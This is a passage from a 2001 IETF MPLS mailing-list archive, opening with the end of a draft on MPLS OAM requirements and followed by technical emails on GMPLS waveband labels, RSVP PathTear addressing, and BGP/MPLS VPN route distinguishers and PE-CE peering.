        OAM packets without disturbing the traffic or causing=20
        unnecessary actions.=20
   =20
     8. Measurement of availability and QoS performance.=20
   =20
    =20
   Harrison et. al.      Expires August 2001                   Page 5 =
=0C
                Requirements for OAM in MPLS Networks        May 2001=20
   =20
     9. The OAM functionality of a MPLS layer should not be dependent=20
        on any specific server or client layer technology.  This is=20
        critical to ensure that layer networks can evolve (or new/old=20
        layer networks be added/removed) without impacting other layer=20
        networks. The control-plane of a given layer network must also=20
        have its own OAM. [Note - Control-plane OAM is outside the=20
        scope of this Recommendation.]=20
   =20
     10. All the major defect conditions must be identified with in-
        service measurable entry and exit criteria, and all consequent=20
        actions must be specified.  At least the following MPLS user-
        plane defects need to be detected:=20
          a. Loss of LSP connectivity (due to a server layer failure or =

             a failure within the MPLS layer);=20
          b. Swapped LSP trails;=20
          c. LSP mismerging (of 2 or more LSP trails); (including=20
             loops). =20
          d. Unintended replication (e.g. unintended multicasting).=20
   =20
     11. It is important to specify how unavailable/available state=20
        transitions relate to the stopping/starting of the aggregation=20
        of available state QoS metrics.=20
   =20
     12. Connectivity status assessment must not be dependent on user=20
        traffic behavior.=20
   =20
     13. The OAM tools provided should ensure (as far as reasonably=20
        practicable) that customers should not have to act as failure=20
        detectors for the operator.=20
   =20
     14. Under fault conditions a layer network is not expected to=20
        behave in a predictable manner.  Therefore OAM functions should =

        not require the defected layer function in a reliable and=20
        predictable manner for fault diagnosis.=20
=20
=20
5. Security Considerations=20
   =20
   The OAM function described in this document enhances the security of =

   MPLS networks, by detecting mis-connections, and therefore=20
   preventing customers=92 traffic to be exposed to other customers.=20
    =20
   The MPLS OAM functions as defined in this document do not raise any=20
   new security issue, to MPLS networks.=20
   =20
   =20
6. References=20
   =20
   =20
   [1]  IETF, RFC3031, Multiprotocol Label Switching Architecture,=20
   Category: Standards Track, January 2001.=20
   =20
   [2]  IETF, RFC 3032, MPLS label stack encoding, Category: Standards=20
   Track, January 2001.Architecture".=20
    =20
   Harrison et. al.      Expires August 2001                   Page 6 =
=0C
                Requirements for OAM in MPLS Networks        May 2001=20
   =20
   =20
   =20
   =20
7. Author's Addresses=20
   =20
   Neil Harrison=20
   British Telecom              Phone: 44-1604-845933=20
   Heath Bank                   Email: neil.2.Harrison@bt.com=20
   Iugby Road, Harleston=20
   South Hampton, UK=20
   =20
   Peter Willis=20
   British Telecom              Phone: 44-1473-645178=20
   BT, PP RSB10/PP3 B81         Email: peter.j.willis@bt.com=20
   Adastrial Park=20
   Martlesham, Ipswich, UK =20
   =20
   Shahram Davari=20
   PMC-Sierra=20
   411 Legget Drive             Phone: 1-613-271-4018=20
   Kanata, ON, Canada           Email: Shahram_Davari@pmc-sierra.com=20
   =20
   Ben Mack-Crane=20
   Tellabs=20
   4951 Indiana Ave             Phone: 1-630-512-7255=20
   Lisle, IL, USA               Email: ben.mack-crane@tellabs.com=20
   =20
   Hiroshi Ohta=20
   NTT=20
   Y-709A, 1-1 Hikarino=92ka      phone: 81-468-59-8840 =20
   Yokosuka-Shi                 Email: ohta.hiroshi@nslab.ntt.co.jp=20
   Kanagawa, Japan=20
   =20
   Sanford Goldfless=20
   Lucent Technologies=20
   200 Nickerson Road           Phone: 508-786-3655=20
   Marlborough, MA 01752        Email: sgoldfless@lucent.com=20
   =20
   Feihong Chen=20
   Lucent Technologies=20
   200 Nickerson Road           Phone: 508-786-3675=20
   Marlborough, MA 01752        Email: fchen6@lucent.com=20
   =20
   Tricci So=20
   Caspian Network=20
   170 Baytech Drive            Phone: 408-382-5217=20
   San Jose, CA                 Email: tso@caspiannetworks.com=20
   U.S.A. 94070=20
   =20
   Elke Franze=20
   Deutsche Telekom=20
   T-Systems=20
   T-Nova, Technologiezentrum   Phone: +49 6151 83 5459=20
   D-64307 Darmstadt            Email: elke.franze@t-systems.de  =20
    =20
   Harrison et. al.      Expires August 2001                   Page 7 =
=0C
                Requirements for OAM in MPLS Networks        May 2001=20
   =20
   Darmstadt, Germany=20
   =20
   Enriqu G. Cuevas=20
   AT&T Laboratories=20
   Room A2-1E03                 Phone: +1 732 420 3252=20
   200 S. Laurel Avenue         E-mail: ecuevas@att.com=20
   Middletown, NJ 07748 USA=20
   =20
   =20
   =20
   =20
   =20
   =20
   =20
   =20
   =20
   =20
    =20
   Harrison et. al.      Expires August 2001                   Page 8 =
=0C
------_=_NextPart_000_01C0DFEA.6AB17550--



From owner-mpls@UU.NET  Fri May 18 18:35:41 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA18041
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 18:35:41 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkppi11864;
	Fri, 18 May 2001 22:34:15 GMT
Received: by mail-control.mail.uu.net 
	id QQkppi00322
	for mpls-outgoing; Fri, 18 May 2001 22:33:44 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkppi00305
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 22:33:37 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkppi03796
	for <mpls@uu.net>; Fri, 18 May 2001 22:32:56 GMT
Received: from mill.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkppi04954
	for <mpls@uu.net>; Fri, 18 May 2001 22:32:56 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id SAA08339 for mpls@uu.net; Fri, 18 May 2001 18:32:56 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkppi00206
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 22:32:17 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkppi01367
	for <MPLS@uu.net>; Fri, 18 May 2001 22:31:51 GMT
Received: from hotmail.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: f37.law10.hotmail.com [64.4.15.37])
	id QQkppi01398
	for <MPLS@uu.net>; Fri, 18 May 2001 22:31:51 GMT
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Fri, 18 May 2001 15:31:50 -0700
Received: from 38.204.3.195 by lw10fd.law10.hotmail.msn.com with HTTP;	Fri, 18 May 2001 22:31:50 GMT
X-Originating-IP: [38.204.3.195]
From: "manoj juneja" <manojkumarjuneja@hotmail.com>
To: yurilandry@hotmail.com, ccamp@ops.ietf.org, MPLS@UU.NET
Subject: Re: GMPLS Message Structures : Authors : Please Speak Up ......  
Date: Fri, 18 May 2001 15:31:50 -0700
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F37RBHZXFZ0stgr3SU00000c776@hotmail.com>
X-OriginalArrivalTime: 18 May 2001 22:31:50.0575 (UTC) FILETIME=[54E10BF0:01C0DFEA]
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Yuri,
           Thanx for the response. Actually, connection Id is the term 
defined by OIF but Lightpath Id is used in the IETF draft "LDP extensions 
for O-UNI". Both are actually same.

I am still confused about the operation of waveband Id and waveband Labels.

Authors : Please speak up for waveband related doubts.

Thanks,
manoj.






>From: "Yuri Landry" <yurilandry@hotmail.com>
>To: manojkumarjuneja@hotmail.com, ccamp@ops.ietf.org, MPLS@uu.net
>Subject: Re: GMPLS Message Structures
>Date: Fri, 18 May 2001 18:08:13 -0000
>
>Mano,
>
>>            Can someone tell me the message structure of Label Request and
>>Label Mapping in GMPLS ?
>>I am confused about the presence of LightPath Id in O-UNI messages and LSP
>>Id in GMPLS messages ? Is there one-to-one mapping between these Ids or Is
>>it like that both lightPath Id and LSP Id will be carried in GMPLS 
>>messages
>>? LSP Id is not present in O-UNI messages. Can one LightPath Id be mapped 
>>to
>>multiple LSP Ids or vice versa ?
>
>I think you mean Connection ID and LSP ID. A connection ID is an ID for 
>network connection, which may consist many LSPs. For example, the virtual 
>concatenation case.
>
>A LSP may tunnel through multiple pre-established connections.
>
>
>>Also, for waveband switching, the genralized label has the format
>>(wavebandId - start label - end label).
>>When the label request message is received on incoming interface, how to
>>identify that the waveband label is requested ?
>>Is it the LSP encoding type or some other parameter in label request 
>>message
>>? If it is the Lambda encoding type then how to identify that whether a
>>lambda or waveband label is requested ?
>>
>>Also, it is mentioned that wavebandId (32 bits) is selected by the sender
>>and reused in all the subsequent messages. What all subsequent
>>messages is it mentioning to ?
>>
>>Can wavebandId be present in Label Withdraw/Release messages ?
>>
>>I am not able to workout the message structures for GMPLS.
>>
>
>To me waveband label defined in GMPLS drafts is a joke. The reason to have 
>the waveband label is that someone claimed that the waveband's order might 
>flip when going through a switch. My suggestion is don't take it seriously.
>
>>I am not sure how these drafts are at last call. Atleast it should mention
>>the message structures of various messages.
>>
>
>Agree.
>
>Regards,
>
>Yuri
>

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com



From owner-mpls@UU.NET  Fri May 18 18:38:56 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA18115
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 18:38:55 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkppi05372;
	Fri, 18 May 2001 22:37:45 GMT
Received: by mail-control.mail.uu.net 
	id QQkppi00835
	for mpls-outgoing; Fri, 18 May 2001 22:37:12 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkppi00778
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 22:36:51 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkppi03694
	for <mpls@UU.NET>; Fri, 18 May 2001 22:36:48 GMT
Received: from mailgate.pit.comms.marconi.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQkppi13061
	for <mpls@UU.NET>; Fri, 18 May 2001 22:36:48 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id SAA06293
	for <mpls@UU.NET>; Fri, 18 May 2001 18:36:45 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id SAA08465
	for <mpls@UU.NET>; Fri, 18 May 2001 18:36:49 -0400 (EDT)
Message-ID: <3B05A3FC.B423324D@marconi.com>
Date: Fri, 18 May 2001 18:36:44 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: "'mpls@uu.net'" <mpls@UU.NET>
Subject: Re: addressing on RSVP PTEAR message
References: <A821AF2B0A8CD211B34900E0B104148C032B7C06@steam.corp.packetengines.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Marc Lewis wrote:
> 
> I'm asking this question here because the "action" seems to be here,
> not on the RSVP list.
> 
> RSVP-TE Path Tear messages travel downstream toward all receivers.
> They are required to be forwarded hop-by-hop without delay.
> 
> My question is: Should the IP destination be the next hop, or the
> egress router?  RFC2205 doesn't seem to be clear on this point.  If
> the answer is the IPDA should be the egress router, then that
> presumes the packet needs to have the IP Router Alert option
> (otherwise the packet would simply be routed by transit LSRs and
> not passed to the local rsvp module).  I have been working under
> the assumption that only PATH messages had the Router Alert option
> turned on.

It must be targetted at the egress router, using the router alert
option.

Keep in mind that Path Tear messages must be able to go through even
when a Resv message has not been received.  Until the Resv arrives, the
address of the next-hop router is unknown.

Also keep in mind that RFC 2205 was designed around multicast. There may
be several next-hop routers all hanging off of the same interface.  The
send the PathTear to each one individually would be a waste of
bandwidth.

> The RFC clearly states that RESV messages do not use the Router
> Alert option, as they are forwarded hop by hop using the route from
> the RSVP_HOP objects in the PATH messages.  If the PTEAR uses the
> router alert option, it would make sense that the RTEAR also uses
> the router alert option.  However, that isn't consistant with the
> RESV *not* using router alert.

Path, PathTear and ResvConfirm) all are sent to the egress router using
router-alert.  Resv, ResvTear and Hello are always explicitly sent to a
peer router - making router alert unnecessary.  Errors (PathErr and
ResvErr) are forwarded without processing by any transit nodes they pass
through, so there is no need to use router alert on them.

> My understanding was that the PATH messages used IP Router Alert,
> and were addressed to the egress router, so that the rsvp
> implementation could determine if non-rsvp capable routers were in
> the upstream path.

Router alert is not used to detect non-RSVP routers, but in order to
avoid breaking when these routers are present.  The TTL value in the
RSVP common header is used to detect non-RSVP routers.

It is also used due to an inherent inability to know the IP address of
the (possibly several) downstream RSVP routers that should be receiving
the Path message.  Since PathTear messages must go to the exact same
places, they must be transmitted with the same kind of IP header.

-- David


From owner-mpls@UU.NET  Sat May 19 01:59:11 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA27908
	for <mpls-archive@lists.ietf.org>; Sat, 19 May 2001 01:59:10 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpql17838;
	Sat, 19 May 2001 05:58:02 GMT
Received: by mail-control.mail.uu.net 
	id QQkpql19054
	for mpls-outgoing; Sat, 19 May 2001 05:57:28 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpql19023
	for <mpls@mail-control.mail.uu.net>; Sat, 19 May 2001 05:57:13 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpql12260
	for <mpls@UU.NET>; Sat, 19 May 2001 05:54:54 GMT
Received: from mail.marhold.at by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail.marhold.at [194.152.126.85])
	id QQkpql17273
	for <mpls@UU.NET>; Sat, 19 May 2001 05:54:52 GMT
Received: from AMARHOLD ([192.168.1.33]) by mail.marhold.at
          (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35)
          with SMTP id at; Sat, 19 May 2001 08:04:44 +0200
From: "Alexander Marhold" <alexander@marhold.at>
To: "krishna mohan doddapaneni" <d_krishna_mohan@hotmail.com>,
        <Yu.Ju@marconi.com>, <mpls@UU.NET>
Subject: RE: Route Distinguisher in MPLS/BGP VPN
Date: Sat, 19 May 2001 07:55:29 +0200
Message-ID: <AFEPKBDEDEAGNIBJKNPJGEJKCJAA.alexander@marhold.at>
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_003E_01C0E039.12D15400"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-Reply-To: <F238IPNTAbAWFswl3tT0000bf6d@hotmail.com>
Importance: Normal
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_003E_01C0E039.12D15400
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Hello !

I consider this to be a valid question, as maybe Ca and Cb are the Customer
Edge router for the same customer networks ( redundancy and/or loadsharing)

In principle MP-BGP with vpnv4 -routes behave exactly like normal BGP
regarding path selection.
It will select the better path according to the 11 (12) step BGP path
selection process, the better one will win and only the best path will be
advertised, observing split-horizon.

If you use different RDs then the routes will come together in the VRF where
the same selection will take place, as the path is from MP-BGP to
VRF-specific BGP and from there via the BGP-scan task to the VRF-specific
Routing table and from there to the customer via ( RIPV2, OSPF) the PE-CE
routing protocol.

Loadsharing in that case will take place whenever you have implemented
routing protocols which allow loadsharing or if you enable BGP-multipath
support.

--> RD Route Distinguisher

aim: make routes unique, distinguish between VRF (virtual routing tables) on
same PE

set: on the vrf and attached to all routes when redistributed into MP-BGP

rule 1: no 2 VRFs on the same PE may have the same RD

rule 2: the combination of <RD>:<ipv4 address> (=VPNV4-address) needs to be
unique in the provider network as BGP (or better MP-BGP) only forwards the
best route (except for redundant connections or multipath)

regards

Alexander Marhold
PROIN

-----Original Message-----
From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of krishna mohan
doddapaneni
Sent: Friday, May 18, 2001 9:58 PM
To: Yu.Ju@marconi.com; mpls@UU.NET
Subject: Re: Route Distinguisher in MPLS/BGP VPN


  Hi Yu,

  I dont think you can use overlapping addresses in the same VPN or in VPN's
that communicate with each other.

  Krishna



  >From: "Ju, Yu"
  >To: "'mpls@UU.net'"
  >Subject: Route Distinguisher in MPLS/BGP VPN
  >Date: Fri, 18 May 2001 16:55:14 -0400
  >
  >Hi,
  >
  >I have the following question.
  >
  >Suppose CE routers Ca, Cb, Cc are connected to PE routers Pa, Pb, Pc
  >respectively and the CE routers are all in one VPN. Ca and Cb both
advertise
  >a route to a prefix P. Then PE routers Pa and Pb will advertise VPN-IPv4
  >route to Pc. If Pa and Pb use different route distinguisher for the same
  >prefix P, then at PE router Pc, which route should Pc choose? Note that
the
  >two VPN-IPV4 route are not comparable since they have different route
  >distinguisher.
  >
  >Thanks,
  >
  >Yu


----------------------------------------------------------------------------
--
  Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.



------=_NextPart_000_003E_01C0E039.12D15400
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3103.1000" name=3DGENERATOR></HEAD>
<BODY>
<DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D733394305-19052001>Hello=20
!</SPAN></FONT></DIV>
<DIV><SPAN class=3D733394305-19052001></SPAN><FONT color=3D#0000ff =
face=3DArial=20
size=3D2>&nbsp;</FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D733394305-19052001>I=20
consider this to be a valid question, as maybe Ca and Cb are the =
Customer Edge=20
router for the same customer networks ( redundancy and/or=20
loadsharing)</SPAN></FONT></DIV>
<DIV><SPAN class=3D733394305-19052001></SPAN><FONT color=3D#0000ff =
face=3DArial=20
size=3D2>&nbsp;</FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D733394305-19052001>In=20
principle MP-BGP with vpnv4 -routes behave exactly like normal BGP =
regarding=20
path selection.</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D733394305-19052001>It=20
will select the better path according to the 11 (12) step BGP path =
selection=20
process, the better one will win and only the best path will be =
advertised,=20
observing split-horizon.</SPAN></FONT></DIV>
<DIV><SPAN class=3D733394305-19052001></SPAN><FONT color=3D#0000ff =
face=3DArial=20
size=3D2>&nbsp;</FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D733394305-19052001><EM>If=20
you use different RDs then the routes will come together in the VRF =
where the=20
same selection will take place, as the path is from MP-BGP to =
VRF-specific BGP=20
and from there via the BGP-scan task to the VRF-specific Routing =
table<SPAN=20
class=3D166475305-19052001> and from there to the customer via ( RIPV2,=20
OSPF</SPAN><SPAN class=3D166475305-19052001>) the PE-CE routing =
pro</SPAN><SPAN=20
class=3D166475305-19052001>tocol</SPAN>.</EM></SPAN></FONT></DIV>
<DIV><SPAN class=3D733394305-19052001></SPAN><FONT color=3D#0000ff =
face=3DArial=20
size=3D2>&nbsp;</FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D733394305-19052001><EM>Loadsharing in that case will take place =
whenever=20
you have implemented routing protocols which allow loadsharing or if you =
enable=20
BGP-multipath support.</EM></SPAN></FONT></DIV>
<DIV><SPAN class=3D733394305-19052001></SPAN><FONT color=3D#0000ff =
face=3DArial=20
size=3D2>&nbsp;</FONT></DIV>
<DIV><SPAN class=3D733394305-19052001>
<P><FONT color=3D#0000ff face=3DArial size=3D2>--&gt; RD Route=20
Distinguisher</FONT></P>
<P><FONT color=3D#0000ff face=3DArial size=3D2>aim: make routes unique, =
distinguish=20
between VRF (virtual routing tables) on same PE</FONT></P>
<P><FONT color=3D#0000ff face=3DArial size=3D2>set: on the vrf and =
attached to all=20
routes when redistributed into MP-BGP</FONT></P>
<P><FONT color=3D#0000ff face=3DArial size=3D2>rule 1: no 2 VRFs on the =
same PE may=20
have the same RD</FONT></P>
<P><FONT size=3D2><FONT color=3D#0000ff><FONT face=3DArial>rule 2: the =
combination of=20
&lt;RD&gt;:&lt;ipv4 address&gt; (=3DVPNV4-address) needs to be unique in =
the=20
provider network as BGP (or better MP-BGP) only forwards the best =
route<SPAN=20
class=3D733394305-19052001> <STRONG>(except for redundant connections or =

multipath)</STRONG></SPAN></FONT></FONT></FONT></P>
<P><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D733394305-19052001>regards</SPAN></FONT></P>
<P><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D733394305-19052001>Alexander Marhold</SPAN></FONT><SPAN=20
class=3D733394305-19052001><BR><FONT color=3D#0000ff face=3DArial=20
size=3D2>PROIN</FONT></SPAN></P></SPAN><FONT face=3DTahoma =
size=3D2>-----Original=20
Message-----<BR><B>From:</B> owner-mpls@UU.NET =
[mailto:owner-mpls@UU.NET]<B>On=20
Behalf Of </B>krishna mohan doddapaneni<BR><B>Sent:</B> Friday, May 18, =
2001=20
9:58 PM<BR><B>To:</B> Yu.Ju@marconi.com; mpls@UU.NET<BR><B>Subject:</B> =
Re:=20
Route Distinguisher in MPLS/BGP VPN<BR><BR></DIV></DIV>
<BLOCKQUOTE style=3D"MARGIN-RIGHT: 0px"></FONT>
  <DIV>
  <P>Hi Yu,</P>
  <P>I dont think you can use overlapping addresses in the same VPN or =
in VPN's=20
  that communicate with each other.</P>
  <P>Krishna<BR><BR></P></DIV>
  <DIV></DIV>
  <DIV></DIV>&gt;From: "Ju, Yu" <YU.JU@MARCONI.COM>
  <DIV></DIV>&gt;To: "'mpls@UU.net'" <MPLS@UU.NET>
  <DIV></DIV>&gt;Subject: Route Distinguisher in MPLS/BGP VPN=20
  <DIV></DIV>&gt;Date: Fri, 18 May 2001 16:55:14 -0400=20
  <DIV></DIV>&gt;=20
  <DIV></DIV>&gt;Hi,=20
  <DIV></DIV>&gt;=20
  <DIV></DIV>&gt;I have the following question.=20
  <DIV></DIV>&gt;=20
  <DIV></DIV>&gt;Suppose CE routers Ca, Cb, Cc are connected to PE =
routers Pa,=20
  Pb, Pc=20
  <DIV></DIV>&gt;respectively and the CE routers are all in one VPN. Ca =
and Cb=20
  both advertise=20
  <DIV></DIV>&gt;a route to a prefix P. Then PE routers Pa and Pb will =
advertise=20
  VPN-IPv4=20
  <DIV></DIV>&gt;route to Pc. If Pa and Pb use different route =
distinguisher for=20
  the same=20
  <DIV></DIV>&gt;prefix P, then at PE router Pc, which route should Pc =
choose?=20
  Note that the=20
  <DIV></DIV>&gt;two VPN-IPV4 route are not comparable since they have =
different=20
  route=20
  <DIV></DIV>&gt;distinguisher.=20
  <DIV></DIV>&gt;=20
  <DIV></DIV>&gt;Thanks,=20
  <DIV></DIV>&gt;=20
  <DIV></DIV>&gt;Yu=20
  <DIV></DIV><BR clear=3Dall>
  <HR>
  Get Your Private, Free E-mail from MSN Hotmail at <A=20
  href=3D"http://www.hotmail.com">http://www.hotmail.com</A>.<BR>
  <P></P></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_003E_01C0E039.12D15400--



From owner-mpls@UU.NET  Sat May 19 02:07:32 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA05720
	for <mpls-archive@lists.ietf.org>; Sat, 19 May 2001 02:07:32 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpqm11242;
	Sat, 19 May 2001 06:06:44 GMT
Received: by mail-control.mail.uu.net 
	id QQkpqm08946
	for mpls-outgoing; Sat, 19 May 2001 06:06:09 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpqm08430
	for <mpls@mail-control.mail.uu.net>; Sat, 19 May 2001 06:06:01 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpqm08164
	for <mpls@UU.NET>; Sat, 19 May 2001 06:03:54 GMT
Received: from mail.marhold.at by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail.marhold.at [194.152.126.85])
	id QQkpqm20186
	for <mpls@UU.NET>; Sat, 19 May 2001 06:03:53 GMT
Received: from AMARHOLD ([192.168.1.33]) by mail.marhold.at
          (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35)
          with SMTP id at; Sat, 19 May 2001 08:13:45 +0200
From: "Alexander Marhold" <alexander@marhold.at>
To: "Peng Li" <pli@ambernetworks.com>, "'Elwin Eliazer'" <elwinietf@yahoo.com>,
        <mpls@UU.NET>
Subject: RE: route exchange between CE and PE routers ...
Date: Sat, 19 May 2001 08:04:30 +0200
Message-ID: <AFEPKBDEDEAGNIBJKNPJKEJKCJAA.alexander@marhold.at>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-Reply-To: <9F4704BE89F7D4118A0F0002B328C36C06209D@usa04.ambernetworks.com>
Importance: Normal
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

E-BGP is used in a VRF-specific context, which means:
a) the route to teh neighbor is looked up in the VRF-specific routing table
b) all prefixes received will gop into the vrf-specific BGP-table
c) the BGP scan-task will synchronize this VRF-specific BGP table with the
vrf-specific routing table
d) the content of the vrf-specific BGP-table will be advertised by MP-BGP as
VPNV4 route by prepending the RD defined for that vrf.

Therfore you
a) should have the PE-CE link inside that vrf ("ip vrf forwarding
<vrf-name>")
b) you should either use the CE-link address as neighbor address
OR
define a loopback within that vrf
specify the CE loopback as neighbor
define neighbor x.x.x.x update-source loopback y
define neighbor x.x.x.x ebgp-multihop 3

In case that you also need global e-BGP connectivity (additionally) between
PE and CE
you need to create a second Layer-3 virtual interface (physical, or
subinterface or tunnel) and this one should not put into a vrf, and then you
can connect via normal e-BGP to that CE


regards

Alexander Marhold
Senior Consultant
PROIN

-----Original Message-----
From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Peng Li
Sent: Saturday, May 19, 2001 12:26 AM
To: 'Elwin Eliazer'; mpls@UU.NET
Subject: RE: route exchange between CE and PE routers ...


Hi elwin,
  I think you can always create a static route for bgp neighbor address to
setup bgp connection between PE and CE routers.  It doesn't matter CE is in
a transit VPN or in a stub VPN.

cheers,
peng

-----Original Message-----
From: Elwin Eliazer [mailto:elwinietf@yahoo.com]
Sent: Friday, May 18, 2001 2:42 PM
To: mpls@UU.NET; ppvpn@zephion.net
Subject: route exchange between CE and PE routers ...


Hi,

RFC2547bis suggests the use of EBGP between
CE and PE routers; In this case, how is the EBGP
peering setup if the CE router is with a local
(VPN) IP address?

Your response would be appreciated.

- Elwin.



=====
-------
Elwin Stelzer Eliazer
Corona Networks
-------

__________________________________________________
Do You Yahoo!?
Yahoo! Auctions - buy the things you want at great prices
http://auctions.yahoo.com/



From owner-mpls@UU.NET  Sat May 19 07:10:13 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA11020
	for <mpls-archive@lists.ietf.org>; Sat, 19 May 2001 07:10:13 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkprg00828;
